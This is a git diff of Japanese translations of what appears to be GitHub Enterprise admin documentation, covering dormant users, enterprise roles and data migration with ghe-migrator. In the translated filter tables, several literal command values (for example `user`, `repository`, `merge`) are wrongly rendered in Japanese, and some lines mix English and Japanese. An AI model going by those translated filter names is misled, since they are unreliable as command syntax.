-3. In the left sidebar, click **Dormant users**.
-![Dormant users tab](/assets/images/enterprise/site-admin-settings/dormant-users-tab.png){% ifversion ghes %}
-4. To suspend all the dormant users in this list, at the top of the page, click **Suspend all**.
-![Suspend all button](/assets/images/enterprise/site-admin-settings/suspend-all.png){% endif %}
+3. 左のサイドバーで**Dormant users（休眠ユーザ）**をクリックしてください。 ![Dormant users tab](/assets/images/enterprise/site-admin-settings/dormant-users-tab.png){% ifversion ghes %}
+4. このリスト中のすべての休眠ユーザをサスペンドするには、ページの上部で**Suspend all（全員をサスペンド）**をクリックしてください。 ![Suspend all button](/assets/images/enterprise/site-admin-settings/suspend-all.png){% endif %}
 
-## Determining whether a user account is dormant
+## ユーザアカウントが休眠状態かの判断
 
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.search-user %}
 {% data reusables.enterprise_site_admin_settings.click-user %}
-5. In the **User info** section, a red dot with the word "Dormant" indicates the user account is dormant, and a green dot with the word "Active" indicates the user account is active.
-![Dormant user account](/assets/images/enterprise/stafftools/dormant-user.png)
-![Active user account](/assets/images/enterprise/stafftools/active-user.png)
+5. **User info（ユーザ情報）**セクションで"Dormant（休眠）"という語の付いた赤い点は、そのユーザアカウントが休眠状態であることを示し、"Active（アクティブ）"という語の付いた緑の点はそのユーザアカウントがアクティブであることを示します。 ![休眠ユーザアカウント](/assets/images/enterprise/stafftools/dormant-user.png) ![アクティブなユーザアカウント](/assets/images/enterprise/stafftools/active-user.png)
 
-## Configuring the dormancy threshold
+## 休眠の閾値の設定
 
 {% data reusables.enterprise_site_admin_settings.dormancy-threshold %}
 
@@ -47,8 +44,7 @@ topics:
 {% data reusables.enterprise-accounts.policies-tab %}
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.options-tab %}
-4. Under "Dormancy threshold", use the drop-down menu, and click the desired dormancy threshold.
-![The Dormancy threshold drop-down menu](/assets/images/enterprise/site-admin-settings/dormancy-threshold-menu.png)
+4. [Dormancy threshold] の下で、ドロップダウンメニューを使って、希望する休眠閾値をクリックします。 ![休眠の閾値のドロップダウンメニュー](/assets/images/enterprise/site-admin-settings/dormancy-threshold-menu.png)
 
 {% endif %}
 
@@ -66,7 +62,6 @@ topics:
 
 {% data reusables.enterprise-accounts.access-enterprise %}
 {% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %}
-1. To download your Dormant Users (beta) report as a CSV file, under "Other", click {% octicon "download" aria-label="The Download icon" %} **Download**.
-  ![Download button under "Other" on the Compliance page](/assets/images/help/business-accounts/dormant-users-download-button.png)
+1. To download your Dormant Users (beta) report as a CSV file, under "Other", click {% octicon "download" aria-label="The Download icon" %} **Download**. ![Download button under "Other" on the Compliance page](/assets/images/help/business-accounts/dormant-users-download-button.png)
 
 {% endif %}
diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
index 42fa6dc9bc..adf3ed4820 100644
--- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Managing support entitlements for your enterprise
 intro: You can grant enterprise members the ability to manage support tickets for your enterprise account.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise
 versions:
diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
index fc57c1bf12..9c5787d93e 100644
--- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
+++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/rebuilding-contributions-data.md
@@ -1,6 +1,6 @@
 ---
-title: Rebuilding contributions data
-intro: You may need to rebuild contributions data to link existing commits to a user account.
+title: コントリビューションデータの再構築
+intro: 既存のコミットをユーザアカウントにリンクするために、コントリビューションデータの再構築が必要になることがあります。
 redirect_from:
   - /enterprise/admin/articles/rebuilding-contributions-data
   - /enterprise/admin/user-management/rebuilding-contributions-data
@@ -14,14 +14,13 @@ topics:
   - User account
 shortTitle: Rebuild contributions
 ---
-Whenever a commit is pushed to {% data variables.product.prodname_enterprise %}, it is linked to a user account if they are both associated with the same email address. However, existing commits are *not* retroactively linked when a user registers a new email address or creates a new account.
 
-1. Visit the user's profile page.
+コミットは、{% data variables.product.prodname_enterprise %}にプッシュされるたびに、プッシュのメールアドレスとユーザのメールアドレスが同じ場合は、ユーザアカウントに関連付けられます。 しかし、ユーザが新規メールアドレスの登録や新規アカウントの作成をした場合、既存のコミットは、遡及的には関連付けられ*ません*。
+
+1. ユーザのプロフィールページにアクセスします。
 {% data reusables.enterprise_site_admin_settings.access-settings %}
-3. On the left side of the page, click **Admin**.
-  ![Admin tab](/assets/images/enterprise/site-admin-settings/admin-tab.png)
-4. Under **Contributions data**, click **Rebuild**.
-![Rebuild button](/assets/images/enterprise/site-admin-settings/rebuild-button.png)
+3. ページ左にある、**Admin** をクリックする。 ![[Admin] タブ](/assets/images/enterprise/site-admin-settings/admin-tab.png)
+4. **Contributions data** で、**Rebuild** をクリックする。 ![[Rebuild] ボタン](/assets/images/enterprise/site-admin-settings/rebuild-button.png)
 
-{% data variables.product.prodname_enterprise %} will now start background jobs to re-link commits with that user's account.
-  ![Queued rebuild jobs](/assets/images/enterprise/site-admin-settings/rebuild-jobs.png)
+{% data variables.product.prodname_enterprise %} は、コミットをユーザアカウントに再度リンクするためのバックグラウンドジョブを開始します。
+  ![待ち行列に入っている再構築ジョブ](/assets/images/enterprise/site-admin-settings/rebuild-jobs.png)
diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
index 9fb394b311..8da16ba6af 100644
--- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise.md
@@ -1,7 +1,6 @@
 ---
-title: Roles in an enterprise
-intro: 'Everyone in an enterprise is a member of the enterprise. To control access to your enterprise''s settings and data, you can assign different roles to members of your enterprise.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
+title: Enterprise におけるロール
+intro: Enterprise 内の全員が Enterprise のメンバーです。 Enterprise の設定とデータへのアクセスを制御するために、Enterprise のメンバーにさまざまなロールを割り当てることができます。
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/managing-users-in-your-enterprise/roles-in-an-enterprise
   - /github/setting-up-and-managing-your-enterprise-account/roles-for-an-enterprise-account
@@ -16,9 +15,9 @@ topics:
   - Enterprise
 ---
 
-## About roles in an enterprise
+## Enterprise のロールについて
 
-Everyone in an enterprise is a member of the enterprise. You can also assign administrative roles to members of your enterprise. Each administrator role maps to business functions and provides permissions to do specific tasks within the enterprise.
+Enterprise 内の全員が Enterprise のメンバーです。 Enterprise のメンバーに管理者のロールを割り当てることもできます。 各管理者ロールはビジネス機能にマップされ、Enterprise 内の特定のタスクを行う権限を与えます。
 
 {% data reusables.enterprise-accounts.enterprise-administrators %}
 
@@ -31,46 +30,46 @@ For more information about adding people to your enterprise, see "[Authenticatio
 
 {% endif %}
 
-## Enterprise owner
+## Enterprise オーナー
 
-Enterprise owners have complete control over the enterprise and can take every action, including:
-- Managing administrators
-- {% ifversion ghec %}Adding and removing {% elsif ghae or ghes %}Managing{% endif %} organizations {% ifversion ghec %}to and from {% elsif ghae or ghes %} in{% endif %} the enterprise
-- Managing enterprise settings
-- Enforcing policy across organizations
-{% ifversion ghec %}- Managing billing settings{% endif %}
+Enterprise オーナーは、Enterprise の完全な管理権限を持ち、以下を含むすべての操作を行うことができます。
+- 管理者を管理する
+- {% ifversion ghec %}追加と削除 {% elsif ghae or ghes %} Enterprise {% endif %}{% ifversion ghec %}内および {% elsif ghae or ghes %}Enterprise{% endif %} 内から Organization を管理する
+- Enterprise 設定を管理する
+- Organization にポリシーを強制する
+{% ifversion ghec %}- 支払い設定を管理する{% endif %}
 
-Enterprise owners cannot access organization settings or content unless they are made an organization owner or given direct access to an organization-owned repository. Similarly, owners of organizations in your enterprise do not have access to the enterprise itself unless you make them enterprise owners.
+Enterprise オーナーは、Organization のオーナーになるか、Organization が所有するリポジトリに直接アクセスする権限を与えられない限り、Organization の設定またはコンテンツにはアクセスできません。 同様に、Enterprise の Organization のオーナーは、Enterprise のオーナーにならない限り、Enterprise にはアクセスできません。
 
-An enterprise owner will only consume a license if they are an owner or member of at least one organization within the enterprise. Even if an enterprise owner has a role in multiple organizations, they will consume a single license. {% ifversion ghec %}Enterprise owners must have a personal account on {% data variables.product.prodname_dotcom %}.{% endif %} As a best practice, we recommend making only a few people in your company enterprise owners, to reduce the risk to your business.
+Enterprise のオーナーは、Enterprise 内の少なくとも 1 つの Organization のオーナーまたはメンバーである場合にのみ、ライセンスを消費できます。 Even if an enterprise owner has a role in multiple organizations, they will consume a single license. {% ifversion ghec %}Enterprise のオーナーは {% data variables.product.prodname_dotcom %} に個人アカウントを持っている必要があります。{% endif %} ベストプラクティスとして、ビジネスへのリスクを軽減するために、Enterprise のオーナーを数人にすることをお勧めします。
 
-## Enterprise members
+## Enterprise メンバー
 
-Members of organizations owned by your enterprise are also automatically members of the enterprise. Members can collaborate in organizations and may be organization owners, but members cannot access or configure enterprise settings{% ifversion ghec %}, including billing settings{% endif %}.
+Enterprise が所有する Organization のメンバーも、自動的に Enterprise のメンバーになります。 メンバーは Organization 内でコラボレートできます。Organization のオーナーになることも可能です。メンバーは支払い設定を含む Enterprise 設定{% ifversion ghec %}にアクセスまたは設定することはできません。{% endif %}
 
-People in your enterprise may have different levels of access to the various organizations owned by your enterprise and to repositories within those organizations. You can view the resources that each person has access to. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)."
+Enterprise 内のユーザは、Enterprise が所有するさまざまな Organization およびそれらの Organization 内のリポジトリへのあらゆるレベルのアクセス権を持つことができます。 各個人がアクセスできるリソースを確認することができます。 詳しい情報については、「[Enterprise の人を表示する](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)」を参照してください。
 
 For more information about organization-level permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
 
-People with outside collaborator access to repositories owned by your organization are also listed in your enterprise's People tab, but are not enterprise members and do not have any access to the enterprise. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+Organization が所有するリポジトリへの外部のコラボレータアクセス権を持つユーザも、Enterprise の [People] タブに一覧表示されますが、Enterprise メンバーではなく、Enterprise へのアクセス権はありません。 For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
 
 {% ifversion ghec %}
 
-## Billing manager
+## 支払いマネージャー
 
-Billing managers only have access to your enterprise's billing settings. Billing managers for your enterprise can:
-- View and manage user licenses, {% data variables.large_files.product_name_short %} packs and other billing settings
-- View a list of billing managers
-- Add or remove other billing managers
+支払いマネージャーは、Enterprise の支払い設定にのみアクセスできます。 Enterprise の支払いマネージャーは次の操作ができます。
+- ユーザライセンス、{% data variables.large_files.product_name_short %} パック、およびその他の支払い設定の閲覧および管理
+- 支払いマネージャーのリストを閲覧
+- 他の支払いマネージャーの追加または削除
 
-Billing managers will only consume a license if they are an owner or member of at least one organization within the enterprise. Billing managers do not have access to organizations or repositories in your enterprise, and cannot add or remove enterprise owners. Billing managers must have a personal account on {% data variables.product.prodname_dotcom %}.
+支払いマネージャーは、Enterprise 内の少なくとも 1 つの Organization のオーナーまたはメンバーである場合にのみ、ライセンスを消費できます。 支払いマネージャーは、Enterprise の Organization またはリポジトリにアクセスすることはできません。また、Enterprise のオーナーを追加または削除することもできません。 支払いマネージャーは、{% data variables.product.prodname_dotcom %} 上に個人アカウントを持っていなければなりません。
 
 ## About support entitlements
 
 {% data reusables.enterprise-accounts.support-entitlements %}
 
-## Further reading
+## 参考リンク
 
-- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"
+- 「[Enterprise アカウントについて](/admin/overview/about-enterprise-accounts)」
 
 {% endif %}
diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
index d6110b9dcd..0c44f6e054 100644
--- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Enterprise へのユーザの SAML アクセスの表示および管理
 intro: Enterprise メンバーのリンクされたアイデンティティ、アクティブなセッション、認可されたクレデンシャルの表示と取り消しが可能です。
 permissions: Enterprise owners can view and manage a member's SAML access to an organization.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
diff --git a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
index af19f0eb57..69919a67b9 100644
--- a/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Enterprise の人を表示する
 intro: Enterprise が所有するリソースやユーザライセンスの利用を監査するため、Enterprise のオーナーは、すべての Enterprise の管理者およびメンバーを表示できます。
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise-account/viewing-people-in-your-enterprise-account
   - /articles/viewing-people-in-your-enterprise-account
diff --git a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md
index e5ff4d4023..7200ff6386 100644
--- a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md
+++ b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/about-migrations.md
@@ -1,6 +1,6 @@
 ---
-title: About migrations
-intro: 'A migration is the process of transferring data from a *source* location (either a {% data variables.product.prodname_dotcom_the_website %} organization or a {% data variables.product.prodname_ghe_server %} instance) to a *target* {% data variables.product.prodname_ghe_server %} instance. Migrations can be used to transfer your data when changing platforms or upgrading hardware on your instance.'
+title: 移行について
+intro: '移行とは、「ソース」場所 ({% data variables.product.prodname_dotcom_the_website %} Organization か {% data variables.product.prodname_ghe_server %} インスタンスのいずれか) から「ターゲット」となる {% data variables.product.prodname_ghe_server %} インスタンスにデータを移譲するプロセスです。 移行は、プラットフォームを変更したり、インスタンスのハードウェアをアップグレードしたりする場合にデータを転送するのに利用できます。'
 redirect_from:
   - /enterprise/admin/migrations/about-migrations
   - /enterprise/admin/user-management/about-migrations
@@ -12,40 +12,41 @@ topics:
   - Enterprise
   - Migration
 ---
-## Types of migrations
 
-There are three types of migrations you can perform:
+## 移行の種類
 
-- A migration from a {% data variables.product.prodname_ghe_server %} instance to another {% data variables.product.prodname_ghe_server %} instance. You can migrate any number of repositories owned by any user or organization on the instance. Before performing a migration, you must have site administrator access to both instances.
-- A migration from a {% data variables.product.prodname_dotcom_the_website %} organization to a {% data variables.product.prodname_ghe_server %} instance. You can migrate any number of repositories owned by the organization. Before performing a migration, you must have [administrative access](/enterprise/user/articles/permission-levels-for-an-organization/) to the {% data variables.product.prodname_dotcom_the_website %} organization as well as site administrator access to the target instance.
-- *Trial runs* are migrations that import data to a [staging instance](/enterprise/admin/guides/installation/setting-up-a-staging-instance/). These can be useful to see what *would* happen if a migration were applied to {% data variables.product.product_location %}. **We strongly recommend that you perform a trial run on a staging instance before importing data to your production instance.**
+行える移行は3種類あります。
 
-## Migrated data
+- {% data variables.product.prodname_ghe_server %} インスタンスから別の {% data variables.product.prodname_ghe_server %} インスタンスへの移行。 インスタンス上の任意のユーザあるいはOrganizationが所有する任意の数のリポジトリを移行できます。 移行を行う前に、双方のインスタンスにサイト管理者としてアクセスできなければなりません。
+- {% data variables.product.prodname_dotcom_the_website %} Organization から {% data variables.product.prodname_ghe_server %} インスタンスへの移行。 Organizationが所有する任意の数のリポジトリを移行できます。 移行を実行するためには、{% data variables.product.prodname_dotcom_the_website %} Organization への[管理アクセス](/enterprise/user/articles/permission-levels-for-an-organization/)と、ターゲットインスタンスへのサイト管理者としてのアクセスが必要です。
+- *トライアル実行*は、データを[ステージングインスタンス](/enterprise/admin/guides/installation/setting-up-a-staging-instance/)にインポートする移行です。 これは、{% data variables.product.product_location %} に対して移行を行ったときに何が起こる*ことになる*のかを確認するのに役立ちます。 **本番インスタンスへデータをインポートする前に、ステージングインスタンスで試行することを強くおすすめします。**
 
-In a migration, everything revolves around a repository. Most data associated with a repository can be migrated. For example, a repository within an organization will migrate the repository *and* the organization, as well as any users, teams, issues, and pull requests associated with the repository.
+## データの移行
 
-The items in the table below can be migrated with a repository. Any items not shown in the list of migrated data can not be migrated.
+移行においては、すべての事項についてリポジトリが中心になります。 リポジトリに関係するほとんどのデータは移行できます。 たとえば Organization 内のリポジトリは、リポジトリ*および*その Organization、またそのリポジトリに関連付けられているユーザ、Team、Issue、プルリクエストのすべてを移行します。
+
+以下の表の項目はレポジトリと共に移行できます。 このデータの移行リストに記載されていない項目はどれも移行できません。
 
 {% data reusables.enterprise_migrations.fork-persistence %}
 
-|  Data associated with a migrated repository | Notes  |
-|---------------------------------------------|--------|
-| Users | **@mentions** of users are rewritten to match the target.
-| Organizations | An organization's name and details are migrated.
-| Repositories | Links to Git trees, blobs, commits, and lines are rewritten to match the target. The migrator follows a maximum of three repository redirects.
-| Wikis | All wiki data is migrated.
-| Teams | **@mentions** of teams are rewritten to match the target.
-| Milestones | Timestamps are preserved.
-| Project boards | Project boards associated with the repository and with the organization that owns the repository are migrated.
-| Issues | Issue references and timestamps are preserved.
-| Issue comments | Cross-references to comments are rewritten for the target instance.
-| Pull requests | Cross-references to pull requests are rewritten to match the target. Timestamps are preserved.
-| Pull request reviews | Pull request reviews and associated data are migrated.
-| Pull request review comments | Cross-references to comments are rewritten for the target instance. Timestamps are preserved.
-| Commit comments | Cross-references to comments are rewritten for the target instance. Timestamps are preserved.
-| Releases | All releases data is migrated.
-| Actions taken on pull requests or issues | All modifications to pull requests or issues, such as assigning users, renaming titles, and modifying labels are preserved, along with timestamps for each action.
-|  File attachments | [File attachments on issues and pull requests](/articles/file-attachments-on-issues-and-pull-requests) are migrated. You can choose to disable this as part of the migration.
-| Webhooks | Only active webhooks are migrated.
-| Repository deploy keys | Repository deploy keys are migrated.
-| Protected branches | Protected branch settings and associated data are migrated.
+| 移行されたリポジトリに関連するデータ            | 注釈                                                                                                            |
+| ----------------------------- | ------------------------------------------------------------------------------------------------------------- |
+| ユーザ                           | ユーザの**@メンション**は、ターゲットにマッチするよう書き換えられます。                                                                        |
+| Organization                  | Organizationの名前と詳細は移行されます。                                                                                    |
+| リポジトリ                         | Git ツリー、blob、コミット、および行へのリンクは、ターゲットにマッチするよう書き換えられます。 移行者がリダイレクトできるリポジトリの上限は 3 つです。                             |
+| Wiki                          | すべてのWikiのデータは移行されます。                                                                                          |
+| Team                          | チームの**@メンション**はターゲットにマッチするよう書き換えられます。                                                                         |
+| マイルストーン                       | タイムスタンプは保持されます。                                                                                               |
+| プロジェクトボード                     | リポジトリやリポジトリを所有するOrganizationに関連するプロジェクトボードは移行されます。                                                            |
+| Issue                         | Issueへの参照とタイムスタンプは保持されます。                                                                                     |
+| Issueのコメント                    | コメントへの相互参照は、ターゲットインスタンスに合わせて書き換えられます。                                                                         |
+| プルリクエスト                       | プルリクエストへの相互参照はターゲットにマッチするよう書き換えられます。 タイムスタンプは保持されます。                                                          |
+| プルリクエストのレビュー                  | プルリクエストのレビューと関連データは移行されます。                                                                                    |
+| プルリクエストのレビューのコメント             | コメントへの相互参照は、ターゲットインスタンスに合わせて書き換えられます。 タイムスタンプは保持されます。                                                         |
+| コミットのコメント                     | コメントへの相互参照は、ターゲットインスタンスに合わせて書き換えられます。 タイムスタンプは保持されます。                                                         |
+| リリース                          | すべてのリリースデータは移行されます。                                                                                           |
+| プルリクエストあるいはIssueに対して行われたアクション | ユーザの割り当て、タイトルの変更、ラベルの変更など、プルリクエストあるいはIssueに対するすべての変更は、それぞれのアクションのタイムスタンプと共に保持されます。                            |
+| 添付ファイル                        | [Issue およびプルリクエストの添付ファイル](/articles/file-attachments-on-issues-and-pull-requests)は移行されます。 移行に関するこの機能は無効化できます。 |
+| webhook                       | アクティブなwebhookのみが移行されます。                                                                                       |
+| リポジトリのデプロイキー                  | リポジトリのデプロイキーは移行されます。                                                                                          |
+| 保護されたブランチ                     | 保護されたブランチの設定と関連データは移行されます。                                                                                    |
diff --git a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
index 2b27547b72..28a36e496d 100644
--- a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
+++ b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating data to and from your enterprise
-intro: 'You can export user, organization, and repository data from {% data variables.product.prodname_ghe_server %} or {% data variables.product.prodname_dotcom_the_website %}, then import that data into {% data variables.product.product_location %}.'
+title: Enterprise との間でデータを移行する
+intro: '{% data variables.product.prodname_ghe_server %} または {% data variables.product.prodname_dotcom_the_website %} からユーザ、Organization、およびリポジトリデータをエクスポートして、そのデータを {% data variables.product.product_location %} にインポートできます。'
 redirect_from:
   - /enterprise/admin/articles/moving-a-repository-from-github-com-to-github-enterprise
   - /enterprise/admin/categories/migrations-and-upgrades
diff --git a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
index e6eedafa28..9f7ee0fd68 100644
--- a/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
+++ b/translations/ja-JP/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: Migrating data to your enterprise
-intro: 'After generating a migration archive, you can import the data to your target {% data variables.product.prodname_ghe_server %} instance. You''ll be able to review changes for potential conflicts before permanently applying the changes to your target instance.'
+title: Enterprise にデータを移行する
+intro: '移行アーカイブを作成すると、ターゲットの {% data variables.product.prodname_ghe_server %} インスタンスにデータをインポートできます。 変更を恒久的にターゲットのインスタンスに適用する前に、潜在的なコンフリクトがないか変更をレビューできます。'
 redirect_from:
   - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise
   - /enterprise/admin/migrations/applying-the-imported-data-on-github-enterprise-server
@@ -20,92 +20,93 @@ topics:
   - Migration
 shortTitle: Import to your enterprise
 ---
-## Applying the imported data on {% data variables.product.prodname_ghe_server %}
 
-Before you can migrate data to your enterprise, you must prepare the data and resolve any conflicts. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)."
+## インポートしたデータを {% data variables.product.prodname_ghe_server %} に適用する
+
+Before you can migrate data to your enterprise, you must prepare the data and resolve any conflicts. 詳しい情報については、「[Enterprise へのデータ移行を準備する](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)」を参照してください。
 
 After you prepare the data and resolve conflicts, you can apply the imported data on {% data variables.product.product_name %}.
 
 {% data reusables.enterprise_installation.ssh-into-target-instance %}
 
-2. Using the `ghe-migrator import` command, start the import process. You'll need:
-    * Your Migration GUID. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)."
-    * Your personal access token for authentication. The personal access token that you use is only for authentication as a site administrator, and does not require any specific scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+2. `ghe-migrator import`コマンドを使ってインポートのプロセスを開始してください。 以下が必要です:
+    * 移行 GUID. 詳しい情報については、「[Enterprise へのデータ移行を準備する](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)」を参照してください。
+    * 認証のための個人アクセストークン。 個人アクセストークンは、サイト管理者としての認証にのみ使用され、特定のスコープは必要ありません。 詳しい情報については、「[個人アクセストークンを作成する](/github/authenticating-to-github/creating-a-personal-access-token)」を参照してください。
 
     ```shell
     $ ghe-migrator import /home/admin/<em>MIGRATION_GUID</em>.tar.gz -g <em>MIGRATION_GUID</em> -u <em>username</em> -p <em>TOKEN</em>
-    
+
     > Starting GitHub::Migrator
     > Import 100% complete /
     ```
 
     * {% data reusables.enterprise_migrations.specify-staging-path %}
 
-## Reviewing migration data
+## 移行データのレビュー
 
-By default, `ghe-migrator audit` returns every record. It also allows you to filter records by:
+デフォルトでは、`ghe-migrator audit` はすべてのレコードを返します。 また、以下の条件でレコードをフィルタリングすることもできます。
 
-  * The types of records.
-  * The state of the records.
+  * レコードのタイプ。
+  * レコードの状態。
 
-The record types match those found in the [migrated data](/enterprise/admin/guides/migrations/about-migrations/#migrated-data).
+レコードタイプは[移行データ](/enterprise/admin/guides/migrations/about-migrations/#migrated-data)にあるものとマッチします。
 
-## Record type filters
+## レコードタイプのフィルタ
 
-|      Record type      | Filter name  |
-|-----------------------|--------|
-| Users           | `user`
-| Organizations   | `organization`
-| Repositories    | `repository`
-| Teams           | `team`
-| Milestones      | `milestone`
-| Project boards  | `project`
-| Issues          | `issue`
-| Issue comments  | `issue_comment`
-| Pull requests   | `pull_request`
-| Pull request reviews | `pull_request_review`
-| Commit comments | `commit_comment`
-| Pull request review comments | `pull_request_review_comment`
-| Releases | `release`
-| Actions taken on pull requests or issues | `issue_event`
-| Protected branches | `protected_branch`
+| レコードタイプ                       | フィルタ名                         |
+| ----------------------------- | ----------------------------- |
+| ユーザ                           | `ユーザ`                         |
+| Organization                  | `Organization`                |
+| リポジトリ                         | `リポジトリ`                       |
+| Team                          | `Team`                        |
+| マイルストーン                       | `マイルストーン`                     |
+| プロジェクトボード                     | `project`                     |
+| Issue                         | `Issue`                       |
+| Issueのコメント                    | `issue_comment`               |
+| プルリクエスト                       | `pull_request`                |
+| プルリクエストのレビュー                  | `pull_request_review`         |
+| コミットのコメント                     | `commit_comment`              |
+| プルリクエストのレビューのコメント             | `pull_request_review_comment` |
+| リリース                          | `リリース`                        |
+| プルリクエストあるいはIssueに対して行われたアクション | `issue_event`                 |
+| 保護されたブランチ                     | `protected_branch`            |
 
-## Record state filters
+## レコードの状態フィルタ
 
-| Record state    | Description    |
-|-----------------|----------------|
-| `export`        | The record will be exported. |
-| `import`        | The record will be imported. |
-| `map`           | The record will be mapped. |
-| `rename`        | The record will be renamed. |
-| `merge`         | The record will be merged. |
-| `exported`      | The record was successfully exported. |
-| `imported`      | The record was successfully imported. |
-| `mapped`        | The record was successfully mapped. |
-| `renamed`       | The record was successfully renamed. |
-| `merged`        | The record was successfully merged. |
-| `failed_export` | The record failed to export. |
-| `failed_import` | The record failed to be imported. |
-| `failed_map`    | The record failed to be mapped. |
-| `failed_rename` | The record failed to be renamed. |
-| `failed_merge`  | The record failed to be merged. |
+| レコードの状態         | 説明                  |
+| --------------- | ------------------- |
+| `export`        | レコードはエクスポートされます。    |
+| `import`        | レコードはインポートされます。     |
+| `map`           | レコードはマップされます。       |
+| `rename`        | レコードの名前が変更されます。     |
+| `マージ`           | レコードはマージされます。       |
+| `exported`      | レコードはエクスポートに成功しました。 |
+| `imported`      | レコードはインポートに成功しました。  |
+| `mapped`        | レコードはマップに成功しました。    |
+| `renamed`       | レコードの名前の変更に成功しました。  |
+| `merged`        | レコードはマージに成功しました。    |
+| `failed_export` | レコードはエクスポートに失敗しました。 |
+| `failed_import` | レコードはインポートに失敗しました。  |
+| `failed_map`    | レコードはマップに失敗しました。    |
+| `failed_rename` | レコードの名前の変更に失敗しました。  |
+| `failed_merge`  | レコードはマージに失敗しました。    |
 
-## Filtering audited records
+## 監査されたレコードのフィルタリング
 
-With the `ghe-migrator audit` command, you can filter based on the record type using the `-m` flag. Similarly, you can filter on the import state using the `-s` flag. The command looks like this:
+`ghe-migrator audit`では、`-m`フラグを使ってレコードタイプに基づくフィルタリングができます。 同様に、`-s`フラグでインポートの状態に対してフィルタリングができます。 コマンドは以下のようになります。
 
 ```shell
 $ ghe-migrator audit -m <em>RECORD_TYPE</em> -s <em>STATE</em> -g <em>MIGRATION_GUID</em>
 ```
 
-For example, to view every successfully imported organization and team, you would enter:
